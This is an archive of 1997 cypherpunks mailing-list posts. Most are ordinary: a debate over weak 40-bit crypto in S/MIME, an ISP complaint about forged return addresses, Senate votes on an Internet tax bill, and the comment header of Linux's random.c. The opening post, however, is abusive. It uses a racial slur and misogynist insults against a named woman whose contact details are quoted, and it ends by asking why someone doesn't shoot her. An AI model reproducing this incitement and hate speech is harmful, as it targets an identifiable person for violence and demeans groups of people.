> > Artists' demand that the people pay for their atrocities. When the
> > people balk, the 'artists' whine about censorship. All traditional
> > groups and viewpoints are fair game for ridicule; yet when was the last
> > time you saw any 'artist' making fun of sodomites or women?
> > 
> > In other words, the censorship is all one-way. And the "pluralism"
> > valued so much by the Neoliberals is entirely unilateral (one way only).
> > 
> > Communist atrocities which have killed more than 150 million all over
> > the world are glossed over or ignored, but the most trivial
> > international action by the United States brings immediate and forceful
> > condemnation.
> 
> THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
>   The Bibles were removed from the schools by the white Christian
> kids barricaded inside, thowing the Bibles at the niggers, as they
> tried to enter the school buildings. While waiting for the Bibles
> to be replaced the students had nothing left to read but the
> Constitution, and realized that the Bibles shouldn't have been
> there in the first place.
>   I would like to remind the Dumb Cunt that there are no laws
> prohibiting her children from bowing and praying toward Mecca
> three times a day, and it would probably do them some good.
>   The rest of the points above merely serve to illustrate that
> conservatives can't handle good acid, and should probably stick
> to booze.
>  
> > RULE FOR REVOLUTION #6:       BANKRUPT THE GOVERNMENT
> > 
> > THE RULE:
> > Encourage government extravagance on every front.
> > Get the government deeply into debt. Get the people dependent on
> > government by providing for their every need. This destroys their
> > independence, motivation and strength.
> > 
> > THE DUMB CUNT'S OPINION:
> > The United States is flat broke. It is the number one debtor nation on
> > earth, with a deficit of more than $5,000,000,000,000 (five trillion
> > dollars).   Social programs pay for everything from abortion and
> > homosexual-run "sensitivity training sessions" to comprehensive sex
> > education.
> > 
> > We are the most truly Socialistic society on earth, a nation
> > of people addicted to entitlements, unable to break away from the ample
> > government teat, people who scream at the top of our lungs if any
> > cutbacks in services are proposed.
> > 
> > And yet, the Neoliberals want to spend even more.
> > 
> > They want us to fund family benefits for sodomites, a comprehensive
> > health care plan that will inevitably turn into a Britain-like
> > socialized horror, and "art" that is blatantly obscene.
> 
> THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
>   I agree with the Dumb Cunt (TM) on this point. We need to fuck
> away our money on billions and billions of dollars of nuclear arms,
> weapons, surveillance equipment, secret agents and assassins, etc.
>   A decent and moral society can only be ensured by buying 10,000
> toilet seats for the Pentagon.
>   (Jesus. You _really_are_ a Dumb Cunt (TM), aren't you?)
>  
> > RULE FOR REVOLUTION #7:       DESTROY NATIONAL VALUES
> > 
> > THE RULE:
> > Cause a breakdown of indigenous national values.  Destroy all tradition
> > in preparation for the bright dawn of glorious Socialism.  Ridicule
> > religion, patriotism, and honesty. The people must be led to have only
> > one interest:   Themselves!
> > 
> > THE DUMB CUNT'S OPINION:
> > >From the public schools to the pulpits of Christian "churches," moral
> > relativism and situational ethics are the rule of the day. The highest
> > goods are compassion, nonjudgmentalism, and tolerance.
> > Any individual weakness is treated as a problem of society, not of the
> > person, and this relieves everyone of the responsibility of improving
> > themselves.
> > 
> > Why should there be any effort to take responsibility for one's own
> > faults when "society" is so conveniently ready to take the blame for all
> > one's sins? Society has made the sacrifice.   So criminals, addicts,
> > alcoholics, child molesters, wife beaters, and others can always blame
> > their problems on society.
> > 
> > We have truly become the "me generation."
> 
> THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
>   The Dumb Cunt (TM) is beginning to degenerate into drooling and
> meaningless generalizations which make little sense.
>  
> > RULE FOR REVOLUTION #8:       ATTACK GUN OWNERSHIP
> > 
> > THE RULE:
> > Control or register all firearms if possible. This will make their
> > confiscation much easier when the time comes for revolution.
> > 
> > THE DUMB CUNT'S OPINION:
> > When the Communist Revolution occurs in the United States, the last
> > thing the Red Armies want to face is ten million determined and
> > well-trained guerrillas (gun owners) taking potshots at them from around
> > every corner.
> > 
> > The Communists don't want the equivalent of ten Afghanistans in the
> > United States.
> > 
> > Although the objective of inhibiting gun ownership has not yet been
> > completely met, there are dozens of bills and initiatives being
> > submitted all over the country for compulsory gun registration,
> > permitting, and other controls.   The Second Amendment is
> > disregarded entirely as Neoliberals trumpet for all guns to be totally
> > banned.
> > After all, they say, thousands die from gun-related accidents and crimes
> > every year. They fail to see that criminals will always get guns, a
> > parallel to their own argument stating that, if abortion becomes
> > illegal, women will still get abortions.
> 
> THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
>   I guess it was a mistake for the Dumb Cunt (TM) and her right-wing
> bum-buddies to join the left-wing sodomy artists in electing so
> goddamn many Communist gun-snatchers to political office.
>   I think we ought to give Hinkley his gun back, as soon as 
> another Republican is elected President.
> 
>  > RULES FOR REVOLUTION #9 AND #10:    UNDERMINE THE ARMED FORCES
> > 
> > THE RULES:
> > Destroy the reputation of the armed forces.
> > Cause the young men to perceive military duty as distasteful and
> > ridiculous. Fight registration of any kind, and encourage defections
> > within the ranks.
> > Cause the people to desire peace at any cost.   Cause them to oppose any
> > and all of their government's actions regarding the strengthening or use
> > of their armed forces.
> > 
> > THE DUMB CUNT'S OPINION:
> > Our country's armed forces consume a vast percentage of our gross
> > national product.
> > We possess the best and most advanced weapons systems in the world. But
> > our armed forces are a joke for two reasons:
> > (1) they are completely restrained in their actions by a hostile
> > Congress, and
> > (2) the armed forces have been saddled with such a bad reputation that
> > it is virtually impossible to fill the ranks with volunteers, even in
> > the new and streamlined armed services.
> > 
> > Where serving in the armed forces was once considered patriotic and
> > honorable (as it was in the former Soviet Union), it is now looked upon
> > as foolish and 'anti-progressive.'
> > 
> > Servicemen are ridiculed and denigrated at every turn. People say that,
> > if you can't make it on the outside, you wind up in the armed forces.
> > 
> > Every serviceman is considered to be a useless gobbler of tax money.
> 
> THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
>   And all of the good soldiers, like Tim McVeigh, end up leaving.
>  
> > FINAL REALITY:  WELCOME TO AMERIKA, COMRADES.
> > ================================================================
> > The 'Rules for Revolution' described here are the most important actions
> > that can be taken to weaken a country in order to prepare it for armed
> > attack or a skillful coup d'etat.  These rules are summaries that are
> > extracted from a number of books written by professional revolutionaries
> > from the former Soviet Union, from other Communist-dominated countries,
> > and from the United States itself.
> > They are most concisely summarized in the 2,225 page, three-volume set
> > Lenin: Selected Works , distributed in English by Progress Publishers,
> > 21, Zubovsky Boulevard, Moscow.
> > These general principles, dedicated to one of the most famous
> > revolutionaries of all time, Vladimir Lenin, are studied by every
> > Communist political scientist, and by every ambassador or emissary of
> > any type who leaves the former Soviet Union.  They are also studied in
> > great detail by many Americans.
> 
> THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
>   Vladimir Lenin's best friend in the whole, wide world, is the Dumb
> Cunt (TM) and her Nazi Christian bum-buddies. 
>   The Godless Communists and the Nazi Christians could trade their
> brochures and just interchange the words  "Commie" and "Christian."
> 
>   I wish I had a penny for every Dumb Cunt (TM) and Stupid Prick (TM)
> who spent the majority of their time promoting the very same beliefs
> as those they claim to oppose, the only difference being that their
> 'solution' is the MLM promoting of a 'god' with a different name,
> or a 'flag' with a different 'hang time.'
> 
> > --
> > Jodi Hoffman   R.A.M.P.  http://www.gocin.com/ramp
> > Victimization of Children/Research & Education Council of America
> > 1304 SW 160th Avenue, Suite 122  Weston, Florida 33326
> > Phone: (954) 349-0366   Fax: (954) 349-0361
> 
>   Why does it not come as a surprise that this Dumb Cunt Nazi Christian
> Bitch (TM) is hiding behind 'the children,' hoping that it will prevent
> her from being a target of reprisal for the bullshit she is flinging
> at others?
> 
> Why doesn't someone shoot this Dumb Cunt Nazi Christian Bitch?
> If it saves the life of just one child...
> 
> TruthMonger
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Gillogly <jim@acm.org>
Date: Wed, 5 Nov 1997 01:54:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: S/MIME
In-Reply-To: <c=CA%a=_%p=NorTel_Secure_Ne%l=APOLLO-971104162419Z-34904@mail.entrust.com>
Message-ID: <345F6ABC.1E6AB2C@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



Ian Clysdale wrote:

>    Sorry, I'm going to continue to take a viewpoint that I suspect is
> rather unpopular in this list, and argue for the advantages of weak
> crypto in certain circumstances, when it is KNOWN to be weak.   The
> phrase "Poor security is worse than no security" refers to the dangers
> in assuming that your communications are secure, even when they're
> not.  If you know that your cryptography is weak, it can still
> sometimes be sufficient for your purposes. What weak cryptography does

There's a good reason this viewpoint is unpopular: it includes the tacit
assumption that strong crypto is harder to do than weak crypto.  In fact
that's not the case.  It's as fast and easy to do RC4/128 as to do
RC4/40 -- the only extra resource is keying material, which is cheap.

The <only> reason to use weak cryptography is political.

I'll also challenge your "If you know that your cryptography is weak"
meme:
most people have no idea what cryptography is, and at best can look at
the
little key to see if they're on a secure page.  Explaining to them that
they're
not really secure is normally possible in a one-to-one tutorial, but most

people just want to get their work done, and if the program says they're
now
in secure mode, they'll feel free to send their SSN/SIN/NID and their HIV

status.  They <don't> know their cryptography is weak, even if you tell
them.

Bad idea!  Bad!


--
        Jim Gillogly
        14 Blotmath S.R. 1997, 18:27
        12.19.4.11.12, 1 Eb 10 Zac, Seventh Lord of Night







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Clysdale <iancly@entrust.com>
Date: Wed, 5 Nov 1997 00:02:04 +0800
To: "'William H. Geiger III'" <whgiii@invweb.net>
Subject: RE: S/MIME
Message-ID: <c=CA%a=_%p=NorTel_Secure_Ne%l=APOLLO-971104154014Z-34701@mail.entrust.com>
MIME-Version: 1.0
Content-Type: text/plain



This is not true.

If you read the S/MIME specs it says one MUST implement the RC2/40
algorithm. A MUST in an RFC has a very definate purpose: If an 
aplication
does not implement all MUST sections of the RFC then it is not 
compliant!
To create an S/MIME compliant application one MUST implement RC2/40 
and
one MUST pay RSA to do so!!

   Umm....  If you read what I wrote, you will see that I said "S/MIME 
DOES implement 40 bit RC2, but it ALSO implements XXXXXXXX. 
 Personally, I'd rather see even weak crypto getting world-wide 
deployment than seeing no crypto getting out because of stupid 
draconian export laws.  However much you may dislike their "weak 
crypto", Netscape and Microsoft are getting more seats of 
crypto-compliant software out there than PGP ever has.  And once the 
infrastructure is out there where everyone can use weak crypto, people 
will (hopefully) realize that it is insecure, and shift to stronger 
algorithms that ARE supported currently in domestic US/Canada 
versions, and which I'm sure someone outside of the States will have 
coming out in the near future, if they're not already there.

Netscape, Microsoft, and RSA are letting thier greed get in the way 
of
developing a message encryption protocol that provides strong crypto 
to
ALL users.

   Either that, or Netscape, Microsoft, and RSA are being practical 
and doing something that will legally put SOME cryptography in the 
hands of everyone today.  It's all in how you look at it.

							ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 5 Nov 1997 01:34:09 +0800
To: Sympatico Admin <deckd@harrier.sasknet.sk.ca>
Subject: Re: Forging your return address.
In-Reply-To: <199711041533.JAA03467@orion.sk.sympatico.ca>
Message-ID: <345F5723.44A3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Sympatico Admin wrote:
> Hi Larry,
> 
> We have determined that you have be trying set your email program to
> be anonymous; ie forging your return address. If you wish to be
> anonymous then get a free email account with hotmail.com or rocketmail.

Dan,

The Sympatico Netscape software you provide has features that allow
the user to choose not to give out their email address to those that
they wish to keep it from, such as spammers, criminals and sex-shop
operators.
I have not been made aware of any Sympatico policy which requires your
users to make themselves vulnerable to anyone and everyone who has
connections to the InterNet.

> Your forged reply-to addresses 'fred@dev.null' get rejected by our
> email system and sit in our mail queue.

My chosen reply-to addresses at 'dev.null' are a traditional UNIX
method of directing files and email to /dev/null, which is the
equivalent of the Trash Bin on a Mac. You seem to have set up your
UNIX system to emulate a Win95 Recycle Bin, in that it assumes that 
the user doesn't know what he or she is doing, so saves deleted items.
Dev.null addresses are designed to get rejected by the email system,
so it seems rather useless to keep them in your mail queue.

> Also please do not set your
> email program to relay through someone else's server in another domain as
> there have been complaints. We do not allow this to be done from anyone
> outside our domain.

You will have to explain to me what exactly you are talking about
here, as it is unclear to me what you are referring to.
Please forward me copies of the complaints.
 
> Please note: this note is being sent to our security dept. as we deem this type
> of activity to be mis-use of the mail system and as such you could loose
> your access privleges.

Since this seems to be of such serious concern to you, I would certainly
appreciate it if you could explain to me in greater detail exactly what
it is about my use of my account that Sympatico has a policy problem
with, and why.
  
> If you have any question or concerns then please reply to this note!

I notice that your reply to address, 'Sympatico Admin <deckd>', is not
a valid InterNet email address. Is this an internal system address?
 
Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Clysdale <iancly@entrust.com>
Date: Wed, 5 Nov 1997 01:01:33 +0800
To: "'William H. Geiger III'" <whgiii@invweb.net>
Subject: RE: S/MIME
Message-ID: <c=CA%a=_%p=NorTel_Secure_Ne%l=APOLLO-971104162419Z-34904@mail.entrust.com>
MIME-Version: 1.0
Content-Type: text/plain



There is an old saying in the Security Field: "Poor Security is worse 
than
no security at all".

I doubt that you would find few if any that would agree with you that 
it
is a good thing having the masses using weak crypto. At least the US
members of the Open-PGP group are willing to sacrifice overseas sales 
in
the effort to provide STRONG crypto to EVERYONE. It is the right thing 
to
do. I am sorry to see that you do not uderstand this.

   Sorry, I'm going to continue to take a viewpoint that I suspect is 
rather unpopular in this list, and argue for the advantages of weak 
crypto in certain circumstances, when it is KNOWN to be weak.   The 
phrase "Poor security is worse than no security" refers to the dangers 
in assuming that your communications are secure, even when they're 
not.  If you know that your cryptography is weak, it can still 
sometimes be sufficient for your purposes. What weak cryptography does 
is protect from passive attacks, such as simple wire-tapping.  While 
an RC2/40 message can be trivially broken in a matter of hours, it 
can't be broken in real-time.  If EVERYONE used even RC2/40, then 
passive attacks would be foiled, because the <insert evil NSA/CSIS/etc 
here> just isn't going to bother breaking every single transmitted 
message.
   Now, of course, if you're doing something where you don't want your 
communications to be intercepted under any circumstances, then you 
want to be using something stronger than RC2/40.  However, S/MIME 
doesn't prevent that at all.  DES is a published standard, and I'm 
waiting for somebody outside of the USA to implement triple-DES with 
S/MIME.  This will inter-operate with Outlook and Netscape clients 
inside the USA (theoretically).
   Including a minimum baseline of weak cryptography is NOT denying 
strong cryptography to everyone.  Once the patent on RC2 expires 
(which is very soon) or if RSA gets dropped on their head and finally 
does the intelligent move of releasing it to the public domain, then 
S/MIME provides an expandable infrastructure for secure mail, with a 
huge user base already out there, and in a form much more spoonable to 
the unwashed masses.

						Ian






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jvb@n-o-s-p-a-m.ssds.com>
Date: Wed, 5 Nov 1997 04:26:31 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Senate Commerce cmte approves tax freedom bill 14-5
In-Reply-To: <v03007811b0851e2b3faf@[204.254.22.214]>
Message-ID: <Pine.LNX.3.95.971104124700.18286Q-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 4 Nov 1997, Declan McCullagh wrote:

> >The full Senate Commerce Committee voted today 14-5 to approve an amended
> >version of the Internet Tax Freedom Act.  Here's how members voted:
> >
> >14 Yes: McCain, Stevens, Burns, Snowe, Ashcroft, Frist, Abraham, Brownback,
> >Hollings, Inouye, Rockefeller, Kerry, Breaux, Wyden
> >5 No: Gorton, Hutchinson, Ford, Bryan, Dorgan
> >1 Did not vote: Lott
> 

Hmmmm.  With a yes vote from the above mentioned parties I wonder
what the possible implications are.  Specifically McCain, Inouye and
Rockefeller.

Ashcroft has been pro internet for years so I'm not concerned.

Is there anything in the ITFA that assigns specific powers that
didn't exist before?  Like a Federal Tax on Internet Access?

Interesting.

jim

-----
Jim Burnes
Security Software Engineer, SSDS Inc.
Denver, CO
Remove the n-o-s-p-a-m. from my email to respond
-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 4 Nov 1997 20:08:24 +0800
To: cypherpunks@toad.com
Subject: Porn gave me brain damage!!
Message-ID: <199711041153.MAA10955@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



	I have been reading this list for some time now but have only posted a few
messages, you might recall them, they were about the government using
perceived threats to convince the public that they 
needed legislation to protect them from harmful elements on the 
Internet. I am not posting now about any sort of government conspiracy
or mind control tactics used to convince people they need to give up rights
in order to be safe, I am posting to tell you all how very wrong I was.

	I have just come from the neurologist where I was diagnosed with dementia
pornographia, a syndrome caused by exposure to pornography. 
I have been afflicted with an obsession with pornography since I first
realized I was attracted to women. I remember looking at them and imagining
them with no clothes on. I know now that this is when the damage was begun,
and there is nothing I can do now to reverse it.
	My first taste of pornography was in junior high school. We had a sex ed
class and the textbook was full of crudely drawn genetalia. I looked at
these pictures frequently while studying, little did I know what was being
done to me, the pictures were causing chemical changes in my brain,
stimulating synapses and causing neurons to fire.
	At first I was like any normal kid, very loving and close to my family. As
I got drawn deeper and deeper into pornography I changed, 
first I started hanging around with other boys interested in female
genetalia. Then I started searching through my parents belongings and
stealing whatever I could to support my habits. Newspapers, catalogs,
books, national geographic, anything with pictures of women in it would do.
My parents didn't understand what I was going through they just 
assumed that I was going through a phase, they didn't know that my little
"phase" caused new hormones to be released into my brain changing it 
for good.
	Through most of my high school and college years I was a 
dedicated porn user. I always surrounded myself with people that thought
porn was "cool" or that it was "no big deal". I became increasingly
estranged from my family and even went so far as to move away from home 
for my freshman year in college. I was 18 now and could legally buy
dangerous pornographic material. Once I was living away from home I started
experimenting with pre-marital sex. At first I knew it was 
wrong, but all my friends were doing it so I did it to fit in. Soon I
became to desire it, even need it. If I went for a while without it I would
do just about anything to "get laid". 
	When A friend of mine introduced me to the Internet all my
prayers had been answered, all the porn I could ever need and people 
werejust giving it away. I was chipping away at my brain bit by bit, 
every site, every newsgroup, every picture, every chatroom, was drawing me
deeper into the world of porn. Then I read Jodi Hoffmam's post and I knew
that I needed help. 

	I hope that this can help people, I am to far gone to be helped
now. I hope people can learn from the mistakes I made. I hope something 
can be done to stop the rampant proliferation of porn from hurting other
innocent children, too young to know better, but having lost their
innocence and having experienced more than any child should. It is the
children that are losing in the war against pornography.
   

	--Bucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 5 Nov 1997 03:22:17 +0800
To: cypherpunks@toad.com
Subject: Senate Commerce cmte approves tax freedom bill 14-5
Message-ID: <v03007811b0851e2b3faf@[204.254.22.214]>
MIME-Version: 1.0
Content-Type: text/plain



[Right now I'm over at the Digital/Altavista summit to discuss rating
systems in search engines so I missed the vote. (Barry Steinhardt from the
ACLU just finished speaking. Sen. Judd Gregg, a CDA fan, spoke this
morning.) This bill limits local and state governments' ability to tax the
Net. --Declan]

----

(forwarded to me by a House staffer)

>The full Senate Commerce Committee voted today 14-5 to approve an amended
>version of the Internet Tax Freedom Act.  Here's how members voted:
>
>14 Yes: McCain, Stevens, Burns, Snowe, Ashcroft, Frist, Abraham, Brownback,
>Hollings, Inouye, Rockefeller, Kerry, Breaux, Wyden
>5 No: Gorton, Hutchinson, Ford, Bryan, Dorgan
>1 Did not vote: Lott






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 5 Nov 1997 04:29:44 +0800
To: Ian Clysdale <iancly@entrust.com>
Subject: RE: S/MIME
In-Reply-To: <c=CA%a=_%p=NorTel_Secure_Ne%l=APOLLO-971104162419Z-34904@mail.entrust.com>
Message-ID: <199711042002.PAA28874@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>There is an old saying in the Security Field: "Poor Security is worse 
>>than no security at all".

>>I doubt that you would find few if any that would agree with you that  it
>>is a good thing having the masses using weak crypto. At least the US
>>members of the Open-PGP group are willing to sacrifice overseas sales  in
>>the effort to provide STRONG crypto to EVERYONE. It is the right thing 
>>to do. I am sorry to see that you do not uderstand this.

In
<c=CA%a=_%p=NorTel_Secure_Ne%l=APOLLO-971104162419Z-34904@mail.entrust.com>,
on 11/04/97 
   at 11:24 AM, Ian Clysdale <iancly@entrust.com> said:


>   Sorry, I'm going to continue to take a viewpoint that I suspect is 
>rather unpopular in this list, and argue for the advantages of weak 
>crypto in certain circumstances, when it is KNOWN to be weak.   The 
>phrase "Poor security is worse than no security" refers to the dangers 
>in assuming that your communications are secure, even when they're  not. 
>If you know that your cryptography is weak, it can still  sometimes be
>sufficient for your purposes. What weak cryptography does  is protect
>from passive attacks, such as simple wire-tapping.  While  an RC2/40
>message can be trivially broken in a matter of hours, it  can't be broken
>in real-time.  If EVERYONE used even RC2/40, then  passive attacks would
>be foiled, because the <insert evil NSA/CSIS/etc  here> just isn't going
>to bother breaking every single transmitted  message.
>   Now, of course, if you're doing something where you don't want your 
>communications to be intercepted under any circumstances, then you  want
>to be using something stronger than RC2/40.  However, S/MIME  doesn't
>prevent that at all.  DES is a published standard, and I'm  waiting for
>somebody outside of the USA to implement triple-DES with  S/MIME.  This
>will inter-operate with Outlook and Netscape clients  inside the USA
>(theoretically).
>   Including a minimum baseline of weak cryptography is NOT denying 
>strong cryptography to everyone.  Once the patent on RC2 expires  (which
>is very soon) or if RSA gets dropped on their head and finally  does the
>intelligent move of releasing it to the public domain, then  S/MIME
>provides an expandable infrastructure for secure mail, with a  huge user
>base already out there, and in a form much more spoonable to  the
>unwashed masses.

This is nothing but selfserving bullshit in a vain effort to justify YOUR
sellout for a paycheck.


Your product will use WEAK RC2/40 DOMESTICALLY as long as it is
communicating with someone useing these weak keys. How does your program
warn the user that the crypto being used is unacceptable?? Does it warn
them at all?? Does it refuse to use the WEAK crypto?? I know I get no
warning from NS if weak keys are being used, just the happy key to tell me
everything is ok. Do you see this as a GoodThing(TM)?? WEAK crypto is WEAK
crypto and should not be tolerated in any way shape or form. 

Having a minimum baseline of weak crypto is not a GoodThing(TM) it is a
BadThing(TM). If the people at Entrust can't figure that out then I have
serious question as to the security and quality of your product regardless
of the algorthims being used!!

PS: Please learn how to set up your mailer so that it quotes properly.
<sigh> one would think that someone in this business could grasp such
basic concepts.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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HAhL908zFT+h6/TnKDcvW70kHIILrpYa/cdJNsruN6s2+gf5OqkMkd1rUsO8FfE3
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Colin A. Reed" <aleph@cco.caltech.edu>
Date: Wed, 5 Nov 1997 06:22:49 +0800
To: cypherpunks@toad.com
Subject: Re: Sen. Judd Gregg speaks on cyberporn
In-Reply-To: <v03007804b0853170bbd3@[204.254.22.175]>
Message-ID: <3.0.3.32.19971104140135.00cbf7b0@pop-server.caltech.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 03:13 PM 11/4/97 -0500, Declan McCullagh wrote:
>Sen. Judd Gregg (R-NH) said:
>
>"In a recent study, the Carnegie Mellon Institute found 917,410 sexually
>explicit pictures, short stories, and film clips online within an 18-month
>period."
>
	They spent 18 months searching and they only found a combined total
917,410 instances of the above?  That's hilarious!  It's times like these
that remind me that parents really do need to watch out for what their kids
do on the net.  Of course far more than 917,410 people are killed every 18
months in car accidents, so the net shouldn't be at the top of the list of
scary things a parent has to deal with by a long shot.  Good advice: Never
let your children use search engines.  _I_ can rarely find what I want
using them.  


                             -Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Wedgwood <chris@cyphercom.com>
Date: Tue, 4 Nov 1997 09:38:55 +0800
To: steve@lvdi.net
Subject: Re: Copyright commerce and the street musician protocol
Message-ID: <199711040124.OAA22207@cyphercom.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear <steve@lvdi.net> writes:

[...]

    In the second part, Eric predicted that because of the Net's economics
    and anonymous mailing and publication potential copyrights were on their
    way out.  He acknowledged that some workable method of artist
    compensation was still needed and proposed the movie industry as a
    possible model.  In this scenario a multi-level money collection and
    product distribution scheme would be supported by artist reputation and
    completion bonds.

This is just an observation, I have no idea how true this is and if it is to
what extent, but...

I have several friends who work in the `movie business' and all of these
people claim that the "multi-level money collection" system is in fact a
very poor system.

There is considerable fraud and abuse at all levels (from cinema to
production) which means that the end result is that the artists are no paid
all they are `owed' and that the consumer pays a premium for what they
receive.

Without going into details, I can think of many ways that abuse could indeed
occur and wouldn't necessarily encourage this type of model for 'net
commerce.

Perhaps a similar situation exists with books?



-Chris





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 5 Nov 1997 04:36:46 +0800
To: cypherpunks@toad.com
Subject: Sen. Judd Gregg speaks on cyberporn
Message-ID: <v03007804b0853170bbd3@[204.254.22.175]>
MIME-Version: 1.0
Content-Type: text/plain



Sen. Judd Gregg (R-NH) is the chairman of the Senate appropriations
committee's subcommittee that funds the FBI. Today he spoke at
Digital/AltaVista's "Summit on Internet Content Filtering & Third-Party
Rating." He said that he "disagreed with the Supreme Court" ruling that
struck down the CDA as unconstitutional. He praised the FCC and the V-chip.
He also said:

"In a recent study, the Carnegie Mellon Institute found 917,410 sexually
explicit pictures, short stories, and film clips online within an 18-month
period."

Uh-huh.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Pool <mbp@pharos.com.au>
Date: Tue, 4 Nov 1997 14:01:16 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Request for expert opinion and Feedback
In-Reply-To: <v0300784cb079ec72e4ce@[207.94.249.37]>
Message-ID: <Pine.LNX.3.95.971104153702.1151I-100000@buffalo.pharos.com.au>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 27 Oct 1997, Bill Frantz wrote:

> >c) Is there any benefit to implementing the random number generation
> >   system in the Kernel?
> 
> Yes.  In the kernel, you have access to many more hard-to-guess physical
> inputs than an application level program

Have a look at the implementation of the entropy device in Linux and
some other open systems.  Introductory comments are quoted below.
(Excuse the length, as the bishop said.)

Isn't the idea of an 'entropy device' so trippy?

--
Martin Pool



/*
 * random.c -- A strong random number generator
 *
 * Version 1.00, last modified 26-May-96
 * 
 * Copyright Theodore Ts'o, 1994, 1995, 1996.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, and the entire permission notice in its entirety,
 *    including the disclaimer of warranties.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote
 *    products derived from this software without specific prior
 *    written permission.
 * 
 * ALTERNATIVELY, this product may be distributed under the terms of
 * the GNU Public License, in which case the provisions of the GPL are
 * required INSTEAD OF the above restrictions.  (This clause is
 * necessary due to a potential bad interaction between the GPL and
 * the restrictions contained in a BSD-style copyright.)
 * 
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 * DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
 * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
 * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
 * OF THE POSSIBILITY OF SUCH DAMAGE.
 */

/*
 * (now, with legal B.S. out of the way.....) 
 * 
 * This routine gathers environmental noise from device drivers, etc.,
 * and returns good random numbers, suitable for cryptographic use.
 * Besides the obvious cryptographic uses, these numbers are also good
 * for seeding TCP sequence numbers, and other places where it is
 * desirable to have numbers which are not only random, but hard to
 * predict by an attacker.
 *
 * Theory of operation
 * ===================
 * 
 * Computers are very predictable devices.  Hence it is extremely hard
 * to produce truly random numbers on a computer --- as opposed to
 * pseudo-random numbers, which can easily generated by using a
 * algorithm.  Unfortunately, it is very easy for attackers to guess
 * the sequence of pseudo-random number generators, and for some
 * applications this is not acceptable.  So instead, we must try to
 * gather "environmental noise" from the computer's environment, which
 * must be hard for outside attackers to observe, and use that to
 * generate random numbers.  In a Unix environment, this is best done
 * from inside the kernel.
 * 
 * Sources of randomness from the environment include inter-keyboard
 * timings, inter-interrupt timings from some interrupts, and other
 * events which are both (a) non-deterministic and (b) hard for an
 * outside observer to measure.  Randomness from these sources are
 * added to an "entropy pool", which is mixed using a CRC-like function.
 * This is not cryptographically strong, but it is adequate assuming
 * the randomness is not chosen maliciously, and it is fast enough that
 * the overhead of doing it on every interrupt is very reasonable.
 * As random bytes are mixed into the entropy pool, the routines keep
 * an *estimate* of how many bits of randomness have been stored into
 * the random number generator's internal state.
 * 
 * When random bytes are desired, they are obtained by taking the MD5
 * hash of the contents of the "entropy pool".  The MD5 hash avoids
 * exposing the internal state of the entropy pool.  It is believed to
 * be computationally infeasible to derive any useful information
 * about the input of MD5 from its output.  Even if it is possible to
 * analyze MD5 in some clever way, as long as the amount of data
 * returned from the generator is less than the inherent entropy in
 * the pool, the output data is totally unpredictable.  For this
